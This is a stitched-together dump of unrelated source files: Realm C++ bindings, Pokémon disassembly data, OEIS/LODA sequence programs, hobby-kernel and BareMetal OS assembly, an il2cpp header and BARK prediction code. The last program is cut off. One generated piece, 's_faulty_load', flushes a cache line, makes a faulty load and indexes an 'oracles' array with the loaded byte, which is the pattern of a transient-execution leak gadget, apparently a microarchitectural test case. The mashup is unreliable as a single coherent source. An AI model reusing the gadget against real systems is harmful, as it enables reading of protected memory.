void AsyncOpenTaskClass<T>::add_download_notification(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue & return_value) {
args.validate_maximum(1);
auto callback_function = Value::validated_to_function(ctx, args[0]);
Protected<FunctionType> protected_callback(ctx, callback_function);
Protected<ObjectType> protected_this(ctx, this_object);
Protected<typename T::GlobalContext> protected_ctx(Context<T>::get_global_context(ctx));
realm::util::EventLoopDispatcher<SyncProgressHandler> callback_handler([=](uint64_t transferred_bytes, uint64_t transferrable_bytes) mutable {
HANDLESCOPE(protected_ctx)
ValueType callback_arguments[2] = {
Value::from_number(protected_ctx, transferred_bytes),
Value::from_number(protected_ctx, transferrable_bytes),
};
Function::callback(protected_ctx, protected_callback, 2, callback_arguments);
});
std::shared_ptr<AsyncOpenTask> task = *get_internal<T, AsyncOpenTaskClass<T>>(ctx, this_object);
task->register_download_progress_notifier(callback_handler); // Ignore token as we don't want to unregister.
}
#endif
} // js
} // realm
|
db DEX_PONYTA ; pokedex id
db 50 ; base hp
db 85 ; base attack
db 55 ; base defense
db 90 ; base speed
db 65 ; base special
db FIRE ; species type 1
db FIRE ; species type 2
db 80 ; catch rate
db 152 ; base exp yield
INCBIN "pic/ymon/ponyta.pic",0,1 ; 66, sprite dimensions
dw PonytaPicFront
dw PonytaPicBack
; attacks known at lvl 0
db EMBER
db 0
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 6,7,8
tmlearn 9,10
tmlearn 20
tmlearn 31,32
tmlearn 33,38,39,40
tmlearn 44
tmlearn 50
db BANK(PonytaPicFront)
|
; A346396: E.g.f.: -log(1 - x) * exp(4*x).
; Submitted by Jon Maiga
; 0,1,9,62,390,2384,14680,93680,635824,4697664,38442112,351331584,3582715136,40476303360,501863078912,6767130867712,98464775493632,1536203429306368,25564684461735936,451816479967608832,8448863295040978944,166627401783086415872,3455980532191764676608
mov $3,$0
mov $4,1
lpb $3
add $1,$4
mul $1,$3
mul $2,4
cmp $4,0
add $5,$4
mov $6,$5
cmp $6,0
add $5,$6
div $1,$5
add $2,$1
mul $1,$5
sub $3,1
div $4,$5
lpe
mov $0,$2
|
; BEGIN_LEGAL
; Intel Open Source License
;
; Copyright (c) 2002-2017 Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer. Redistributions
; in binary form must reproduce the above copyright notice, this list of
; conditions and the following disclaimer in the documentation and/or
; other materials provided with the distribution. Neither the name of
; the Intel Corporation nor the names of its contributors may be used to
; endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; END_LEGAL
include asm_macros.inc
PROLOGUE
.code
LoadYmm0 PROC
mov dword ptr [esp]+4, ecx
; This is "VMOVDQU ymm0, YMMWORD PTR [ecx]". We directly specify the machine code,
; so this test runs even when the compiler doesn't support AVX.
db 0C5h, 0FEh, 06Fh, 001h
ret
LoadYmm0 ENDP
LoadZmm0 PROC
mov dword ptr [esp]+4, ecx
; This is "VMOVUPD zmm0, ZMMWORD PTR [ecx]". We directly specify the machine code,
; so this test runs even when the compiler doesn't support AVX512.
db 062h, 0F1h, 0FDh, 048h, 010h, 001h
ret
LoadZmm0 ENDP
LoadK0 PROC
mov dword ptr [esp]+4, ecx
; This is "KMOVW k0, WORD PTR [ecx]". We directly specify the machine code,
; so this test runs even when the compiler doesn't support AVX512.
db 0C5h, 0F8h, 090h, 001h
ret
LoadK0 ENDP
end
|
;
; VOS kernel
; Copyright 2018 Michal Harasimowicz
;
[bits 32]
SECTION .text
global idt_flush
global keyboard_handler
extern keyboard_handler_main
idt_flush:
mov edx, [esp + 4] ;reading idt pointer from stack
lidt [edx]
sti ;turn on interrupts
ret
keyboard_handler:
call keyboard_handler_main
iretd |
; A014417: Representation of n in base of Fibonacci numbers (the Zeckendorf representation of n). Also, binary words starting with 1 not containing 11, with the word 0 added.
; Submitted by Jamie Morken(s4)
; 0,1,10,100,101,1000,1001,1010,10000,10001,10010,10100,10101,100000,100001,100010,100100,100101,101000,101001,101010,1000000,1000001,1000010,1000100,1000101,1001000,1001001,1001010,1010000,1010001,1010010,1010100,1010101,10000000,10000001,10000010,10000100,10000101,10001000,10001001,10001010,10010000,10010001,10010010,10010100,10010101,10100000,10100001,10100010,10100100,10100101,10101000,10101001,10101010,100000000,100000001,100000010,100000100,100000101,100001000,100001001,100001010,100010000
seq $0,22340 ; Even Fibbinary numbers (A003714); also 2*Fibbinary(n).
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
div $0,10
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r9
push %rax
push %rbx
lea addresses_WC_ht+0xb989, %r9
nop
nop
nop
nop
sub %rbx, %rbx
mov $0x6162636465666768, %r10
movq %r10, %xmm5
vmovups %ymm5, (%r9)
nop
nop
and $39790, %r14
lea addresses_WT_ht+0x133ad, %r14
cmp $17038, %rax
mov (%r14), %r13d
nop
nop
inc %rax
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r9
push %rax
push %rbp
push %rsi
// Store
lea addresses_RW+0xe55, %rbp
clflush (%rbp)
nop
nop
and $3975, %r12
movb $0x51, (%rbp)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
// Faulty Load
mov $0x4e15e40000000c0d, %rsi
nop
nop
nop
nop
sub %r11, %r11
mov (%rsi), %bp
lea oracles, %rsi
and $0xff, %rbp
shlq $12, %rbp
mov (%rsi,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
[bits 32]
; Define some constants
VIDEO_MEMORY equ 0xb8000
WHITE_ON_BLACK equ 0x0f
; prints a null-terminated string pointed to by EDX
print_string:
pusha
mov edx, VIDEO_MEMORY ; Set edx to the start of vid mem.
.loop:
mov al, [ebx] ; Store the char at EBX in AL
mov ah, WHITE_ON_BLACK ; Store the attributes in AH
cmp al, 0 ; if (al == 0), at end of string, so
je .done ; jump to done
mov [edx], ax ; Store char and attributes at current
; character cell.
add ebx, 1 ; Increment EBX to the next char in string.
add edx, 2 ; Move to next character cell in vid mem.
jmp .loop ; loop around to print the next char.
.done:
popa
ret ; Return from the function
clear_screen:
pusha
mov edx, VIDEO_MEMORY
mov bx, 2000
.loop:
mov al, 32
mov ah, WHITE_ON_BLACK
cmp bx, 0
je .done
mov [edx], ax
sub bx, 1
add edx, 2
jmp .loop
.done:
popa
ret |
; =============================================================================
; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems
; Copyright (C) 2008-2016 Return Infinity -- see LICENSE.TXT
;
; Screen Output Functions
; =============================================================================
; -----------------------------------------------------------------------------
; os_inc_cursor -- Increment the cursor by one, scroll if needed
; IN: Nothing
; OUT: All registers preserved
os_inc_cursor:
push rax
inc word [os_Screen_Cursor_Col]
mov ax, [os_Screen_Cursor_Col]
cmp ax, [os_Screen_Cols]
jne os_inc_cursor_done
mov word [os_Screen_Cursor_Col], 0
inc word [os_Screen_Cursor_Row]
mov ax, [os_Screen_Cursor_Row]
cmp ax, [os_Screen_Rows]
jne os_inc_cursor_done
call os_screen_scroll
dec word [os_Screen_Cursor_Row]
os_inc_cursor_done:
pop rax
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_dec_cursor -- Decrement the cursor by one
; IN: Nothing
; OUT: All registers preserved
os_dec_cursor:
push rax
cmp word [os_Screen_Cursor_Col], 0
jne os_dec_cursor_done
dec word [os_Screen_Cursor_Row]
mov ax, [os_Screen_Cols]
mov word [os_Screen_Cursor_Col], ax
os_dec_cursor_done:
dec word [os_Screen_Cursor_Col]
pop rax
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_print_newline -- Reset cursor to start of next line and scroll if needed
; IN: Nothing
; OUT: All registers preserved
os_print_newline:
push rax
mov word [os_Screen_Cursor_Col], 0 ; Reset column to 0
mov ax, [os_Screen_Rows] ; Grab max rows on screen
dec ax ; and subtract 1
cmp ax, [os_Screen_Cursor_Row] ; Is the cursor already on the bottom row?
je os_print_newline_scroll ; If so, then scroll
inc word [os_Screen_Cursor_Row] ; If not, increment the cursor to next row
jmp os_print_newline_done
os_print_newline_scroll:
call os_screen_scroll
os_print_newline_done:
pop rax
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_output -- Displays text
; IN: RSI = message location (zero-terminated string)
; OUT: All registers preserved
b_output:
push rdi
push rcx
push rax
xor ecx, ecx
xor eax, eax
mov rdi, rsi
not rcx
cld
repne scasb ; compare byte at RDI to value in AL
not rcx
dec rcx
call b_output_chars
pop rax
pop rcx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_output_char -- Displays a char
; IN: AL = char to display
; OUT: All registers preserved
os_output_char:
push rdi
push rdx
push rcx
push rbx
push rax
mov ah, 0x07 ; Store the attribute into AH so STOSW can be used later on
push rax
mov ax, [os_Screen_Cursor_Row]
and rax, 0x000000000000FFFF ; only keep the low 16 bits
mov cl, 80 ; 80 columns per row
mul cl ; AX = AL * CL
mov bx, [os_Screen_Cursor_Col]
add ax, bx
shl ax, 1 ; multiply by 2
mov rbx, rax ; Save the row/col offset
mov rdi, os_screen ; Address of the screen buffer
add rdi, rax
pop rax
stosw ; Write the character and attribute to screen buffer
mov rdi, 0xb8000
add rdi, rbx
stosw ; Write the character and attribute to screen
os_output_char_done:
call os_inc_cursor
pop rax
pop rbx
pop rcx
pop rdx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_output_chars -- Displays text
; IN: RSI = message location (A string, not zero-terminated)
; RCX = number of chars to print
; OUT: All registers preserved
b_output_chars:
push rdi
push rsi
push rcx
push rax
cld ; Clear the direction flag.. we want to increment through the string
mov ah, 0x07 ; Store the attribute into AH so STOSW can be used later on
b_output_chars_nextchar:
jrcxz b_output_chars_done
dec rcx
lodsb ; Get char from string and store in AL
cmp al, 13 ; Check if there was a newline character in the string
je b_output_chars_newline ; If so then we print a new line
cmp al, 10 ; Check if there was a newline character in the string
je b_output_chars_newline ; If so then we print a new line
cmp al, 9
je b_output_chars_tab
call os_output_char
jmp b_output_chars_nextchar
b_output_chars_newline:
mov al, [rsi]
cmp al, 10
je b_output_chars_newline_skip_LF
call os_print_newline
jmp b_output_chars_nextchar
b_output_chars_newline_skip_LF:
test rcx, rcx
jz b_output_chars_newline_skip_LF_nosub
dec rcx
b_output_chars_newline_skip_LF_nosub:
inc rsi
call os_print_newline
jmp b_output_chars_nextchar
b_output_chars_tab:
push rcx
mov ax, [os_Screen_Cursor_Col] ; Grab the current cursor X value (ex 7)
mov cx, ax
add ax, 8 ; Add 8 (ex 15)
and ax, 0xF8 ; Clear lowest 3 bits (ex 8)
sub ax, cx ; (ex 8 - 7 = 1)
mov cx, ax
mov al, ' '
b_output_chars_tab_next:
call os_output_char
dec cx
jnz b_output_chars_tab_next
pop rcx
jmp b_output_chars_nextchar
b_output_chars_done:
pop rax
pop rcx
pop rsi
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_scroll_screen -- Scrolls the screen up by one line
; IN: Nothing
; OUT: All registers preserved
os_screen_scroll:
push rsi
push rdi
push rcx
push rax
pushfq
cld ; Clear the direction flag as we want to increment through memory
xor ecx, ecx
mov rsi, os_screen ; Start of video text memory for row 2
add rsi, 0xA0
mov rdi, os_screen ; Start of video text memory for row 1
mov cx, 1920 ; 80 x 24
rep movsw ; Copy the Character and Attribute
; Clear the last line in video memory
mov ax, 0x0720 ; 0x07 for black background/white foreground, 0x20 for space (black) character
mov cx, 80
rep stosw ; Store word in AX to RDI, RCX times
call os_screen_update
os_screen_scroll_done:
popfq
pop rax
pop rcx
pop rdi
pop rsi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_screen_clear -- Clear the screen
; IN: Nothing
; OUT: All registers preserved
os_screen_clear:
push rdi
push rcx
push rax
pushfq
cld ; Clear the direction flag as we want to increment through memory
xor ecx, ecx
mov ax, 0x0720 ; 0x07 for black background/white foreground, 0x20 for space (black) character
mov rdi, os_screen ; Address for start of frame buffer
mov cx, 2000 ; 80 x 25
rep stosw ; Clear the screen. Store word in AX to RDI, RCX times
call os_screen_update
os_screen_clear_done:
popfq
pop rax
pop rcx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_screen_update -- Manually refresh the screen from the frame buffer
; IN: Nothing
; OUT: All registers preserved
os_screen_update:
push rsi
push rdi
push rcx
pushfq
cld ; Clear the direction flag as we want to increment through memory
mov rsi, os_screen
mov rdi, 0xb8000
mov cx, 2000 ; 80 x 25
rep movsw
popfq
pop rcx
pop rdi
pop rsi
ret
; -----------------------------------------------------------------------------
; =============================================================================
; EOF
|
; A210434: Number of digits in 4^n.
; 1,1,2,2,3,4,4,5,5,6,7,7,8,8,9,10,10,11,11,12,13,13,14,14,15,16,16,17,17,18,19,19,20,20,21,22,22,23,23,24,25,25,26,26,27,28,28,29,29,30,31,31,32,32,33,34,34,35,35,36,37,37,38,38,39,40,40,41,41,42,43,43,44,44,45,46,46,47,47,48,49,49,50,50,51,52,52,53,53,54,55,55,56,56,57,58,58,59,60,60,61,61,62,63,63,64,64,65,66,66,67,67,68,69,69,70,70,71,72,72,73,73,74,75,75,76,76,77,78,78,79,79,80,81,81,82,82,83,84,84,85,85,86,87,87,88,88,89,90,90,91,91,92,93,93,94,94,95,96,96,97,97,98,99,99,100,100,101,102,102,103,103,104,105,105,106,106,107,108,108,109,109,110,111,111,112,112,113,114,114,115,115,116,117,117,118,119,119,120,120,121,122,122,123,123,124,125,125,126,126,127,128,128,129,129,130,131,131,132,132,133,134,134,135,135,136,137,137,138,138,139,140,140,141,141,142,143,143,144,144,145,146,146,147,147,148,149,149,150,150
mul $0,2
cal $0,34887 ; Number of digits in 2^n.
mov $1,$0
|
[BITS 32]
[global show_msg_]
[extern e_main]
jmp start
_PAGEDIR equ 0x00001000
_PAGES equ 0x00100000
INT_DESC_TABLE equ 0x00002000
GLOBAL_DESC_TABLE equ 0x00003000
_idt:
dw 0x0800
dw 0x2000
dw 0x0000
start:
mov ax,0x10
mov ds,ax
mov es,ax
mov ss,ax
set_page_dir:
mov esi,0
mov eax,0
s1:
mov ebx,_PAGES+7
add ebx,eax
mov [_PAGEDIR+esi],ebx
add eax,4096
add esi,4
cmp esi,4096
jz end_set_page_dir
jmp s1
end_set_page_dir:
mov esi,0
mov ecx,0
mov ebx,0x00008000
mov eax,0x00008e00
set_int_table:
mov [INT_DESC_TABLE+esi],ebx
add esi,4
mov [INT_DESC_TABLE+esi],eax
add esi,4
inc ecx
cmp ecx,512
jz set_int_end
jmp set_int_table
set_int_end:
lidt [_idt]
mov eax,0
mov ebx,0x07
set_page_table:
mov [_PAGES+eax],ebx
add ebx,0x1000
add eax,4
cmp eax,4096
jz end_set_page_table
jmp set_page_table
end_set_page_table:
open_pages:
set_cr3:
mov eax,0x00001000
mov cr3,eax
set_cr0:
mov eax,cr0
or eax,0x80000000
mov cr0,eax
open_pages_end:
call e_main
jmp $
show_msg_:
push eax
push ebx
push ecx
push edx
push ds
push es
push ss
push fs
mov ax,0x10
mov ds,ax
xor esi,esi
mov cl,'a'
mov dl,0x04
show:
mov [0x000b8000+esi],cl
mov [0x000b8001+esi],dl
inc dl
inc esi
inc esi
inc cl
cmp si,10000
je end_show
jmp show
end_show:
pop fs
pop ss
pop es
pop ds
pop edx
pop ecx
pop ebx
pop eax
ret
|
; A033571: a(n) = (2*n + 1)*(5*n + 1).
; 1,18,55,112,189,286,403,540,697,874,1071,1288,1525,1782,2059,2356,2673,3010,3367,3744,4141,4558,4995,5452,5929,6426,6943,7480,8037,8614,9211,9828,10465,11122,11799,12496,13213,13950,14707,15484,16281,17098,17935,18792,19669,20566,21483,22420,23377,24354,25351,26368,27405,28462,29539,30636,31753,32890,34047,35224,36421,37638,38875,40132,41409,42706,44023,45360,46717,48094,49491,50908,52345,53802,55279,56776,58293,59830,61387,62964,64561,66178,67815,69472,71149,72846,74563,76300,78057,79834,81631
mov $1,10
mul $1,$0
add $1,7
mul $1,$0
add $1,1
mov $0,$1
|
; Copyright (C) Teemu Suutari
%macro GL_LIBCALL 1
LIBCALL %1
%ifdef DEBUG_BUILD
pushad
LIBCALL _glGetError
test eax,eax
jz short %%gl_no_error
pushad
mov edi,eax
LIBCALL _gluErrorString
%defstr %%glfunc %1
DEBUG {%%glfunc," failed (%s)"},eax
popad
%%gl_no_error:
popad
%endif
%endm
%macro GL_LIBCALL_NOSTACK 1
LIBCALL_NOSTACK %1
%endm
%macro GL_NOERR_LIBCALL 1
LIBCALL %1
%ifdef DEBUG_BUILD
pushad
LIBCALL _glGetError
popad
%endif
%endm
|
add 0x082
|
// Autogenerated from CppHeaderCreator
// Created by Sc2ad
// =========================================================================
#pragma once
// Begin includes
#include "beatsaber-hook/shared/utils/typedefs.h"
#include "beatsaber-hook/shared/utils/byref.hpp"
// Including type: System.Security.Cryptography.HMAC
#include "System/Security/Cryptography/HMAC.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
#include "beatsaber-hook/shared/utils/typedefs-array.hpp"
// Completed includes
// Type namespace: System.Security.Cryptography
namespace System::Security::Cryptography {
// Forward declaring type: HMACSHA1
class HMACSHA1;
}
#include "beatsaber-hook/shared/utils/il2cpp-type-check.hpp"
NEED_NO_BOX(::System::Security::Cryptography::HMACSHA1);
DEFINE_IL2CPP_ARG_TYPE(::System::Security::Cryptography::HMACSHA1*, "System.Security.Cryptography", "HMACSHA1");
// Type namespace: System.Security.Cryptography
namespace System::Security::Cryptography {
// Size: 0x61
#pragma pack(push, 1)
// Autogenerated type: System.Security.Cryptography.HMACSHA1
// [TokenAttribute] Offset: FFFFFFFF
// [ComVisibleAttribute] Offset: 57B714
class HMACSHA1 : public ::System::Security::Cryptography::HMAC {
public:
// public System.Void .ctor(System.Byte[] key)
// Offset: 0xC477EC
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static HMACSHA1* New_ctor(::ArrayW<uint8_t> key) {
static auto ___internal__logger = ::Logger::get().WithContext("::System::Security::Cryptography::HMACSHA1::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<HMACSHA1*, creationType>(key)));
}
// public System.Void .ctor(System.Byte[] key, System.Boolean useManagedSha1)
// Offset: 0xC477F4
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static HMACSHA1* New_ctor(::ArrayW<uint8_t> key, bool useManagedSha1) {
static auto ___internal__logger = ::Logger::get().WithContext("::System::Security::Cryptography::HMACSHA1::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<HMACSHA1*, creationType>(key, useManagedSha1)));
}
// public System.Void .ctor()
// Offset: 0xC46DC0
// Implemented from: System.Security.Cryptography.HMAC
// Base method: System.Void HMAC::.ctor()
// Base method: System.Void KeyedHashAlgorithm::.ctor()
// Base method: System.Void HashAlgorithm::.ctor()
// Base method: System.Void Object::.ctor()
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static HMACSHA1* New_ctor() {
static auto ___internal__logger = ::Logger::get().WithContext("::System::Security::Cryptography::HMACSHA1::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<HMACSHA1*, creationType>()));
}
}; // System.Security.Cryptography.HMACSHA1
#pragma pack(pop)
}
#include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
// Writing MetadataGetter for method: System::Security::Cryptography::HMACSHA1::New_ctor
// Il2CppName: .ctor
// Cannot get method pointer of value based method overload from template for constructor!
// Try using FindMethod instead!
// Writing MetadataGetter for method: System::Security::Cryptography::HMACSHA1::New_ctor
// Il2CppName: .ctor
// Cannot get method pointer of value based method overload from template for constructor!
// Try using FindMethod instead!
// Writing MetadataGetter for method: System::Security::Cryptography::HMACSHA1::New_ctor
// Il2CppName: .ctor
// Cannot get method pointer of value based method overload from template for constructor!
// Try using FindMethod instead!
|
; A254006: a(0) = 1, a(n) = 3*a(n-2) if n mod 2 = 0, otherwise a(n) = 0.
; 1,0,3,0,9,0,27,0,81,0,243,0,729,0,2187,0,6561,0,19683,0,59049,0,177147,0,531441,0,1594323,0,4782969,0,14348907,0,43046721,0,129140163,0,387420489,0,1162261467,0,3486784401,0,10460353203,0,31381059609,0,94143178827,0,282429536481,0,847288609443,0,2541865828329,0,7625597484987,0,22876792454961,0,68630377364883,0,205891132094649,0,617673396283947,0,1853020188851841,0,5559060566555523,0,16677181699666569,0,50031545098999707,0,150094635296999121,0,450283905890997363,0,1350851717672992089,0
sub $1,$0
dif $1,-2
mov $2,3
pow $2,$1
mov $0,$2
|
; A015536: Expansion of x/(1-5*x-3*x^2).
; 0,1,5,28,155,859,4760,26377,146165,809956,4488275,24871243,137821040,763718929,4232057765,23451445612,129953401355,720121343611,3990466922120,22112698641433,122534893973525,679012565791924,3762667510880195,20850375251776747
mov $2,$0
mov $3,1
lpb $2,1
mov $0,$3
mul $0,3
sub $2,1
add $4,$3
add $3,$4
add $3,$0
mov $4,$0
lpe
mov $1,$0
div $1,3
|
// Copyright (c) 2020 fortiss GmbH
//
// Authors: Julian Bernhard, Klemens Esterle, Patrick Hart and
// Tobias Kessler
//
// This work is licensed under the terms of the MIT license.
// For a copy, see <https://opensource.org/licenses/MIT>.
#include "bark/world/prediction/prediction_settings.hpp"
#include "bark/models/behavior/not_started/behavior_not_started.hpp"
#include "bark/world/observed_world.hpp"
namespace bark {
namespace world {
namespace prediction {
using bark::models::behavior::BehaviorModelPtr;
using bark::models::behavior::BehaviorNotStarted;
using models::behavior::BehaviorStatus;
PredictionSettings::PredictionSettings(
const BehaviorModelPtr& ego_prediction_model,
const BehaviorModelPtr& default_prediction_model,
const BehaviorModelPtr& specific_prediction_model,
const std::vector<AgentId>& specific_prediction_agents)
: ego_prediction_model_(ego_prediction_model),
specific_prediction_model_(specific_prediction_model),
default_prediction_model_(default_prediction_model),
specific_prediction_agents_(specific_prediction_agents.begin(),
specific_prediction_agents.end()) {}
PredictionSettings::PredictionSettings(
const BehaviorModelPtr& ego_prediction_model,
const BehaviorModelPtr& default_prediction_model)
: PredictionSettings(ego_prediction_model, default_prediction_model,
nullptr, {}) {}
void PredictionSettings::ApplySettings(
bark::world::ObservedWorld& observed_world) const {
observed_world.SetEgoBehaviorModel(
BehaviorModelPtr(ego_prediction_model_->Clone()));
if (default_prediction_model_) {
for (const auto& agent : observed_world.GetOtherAgents()) {
if (agent.second->GetBehaviorStatus() == BehaviorStatus::VALID &&
agent.second->IsValidAtTime(observed_world.GetWorldTime())) {
// make sure this agent shall not be controlled by
// specific_prediction_model
if (specific_prediction_agents_.count(agent.first) == 0) {
observed_world.SetBehaviorModel(
agent.first,
BehaviorModelPtr(default_prediction_model_->Clone()));
}
} else {
// no model available, use BehaviorNotStarted
observed_world.SetBehaviorModel(
agent.first, std::make_shared<BehaviorNotStarted>(nullptr));
}
}
}
if (specific_prediction_model_) {
for (const auto& agent_id : specific_prediction_agents_) {
observed_world.SetBehaviorModel(
agent_id, BehaviorModelPtr(specific_prediction_model_->Clone()));
}
}
}
} // namespace prediction
} // namespace world
} // namespace bark
|
; A071586: Powers of 8 written backwards.
; Submitted by Jamie Morken(s4)
; 1,8,46,215,6904,86723,441262,2517902,61277761,827712431,4281473701,2954399858,63767491786,888318557945,4011156408934,23888027348153,656017679474182,8425863189971522,48918490589341081,278558570881511441
mov $4,$0
mov $0,8
pow $0,$4
lpb $0
mov $2,$0
div $0,10
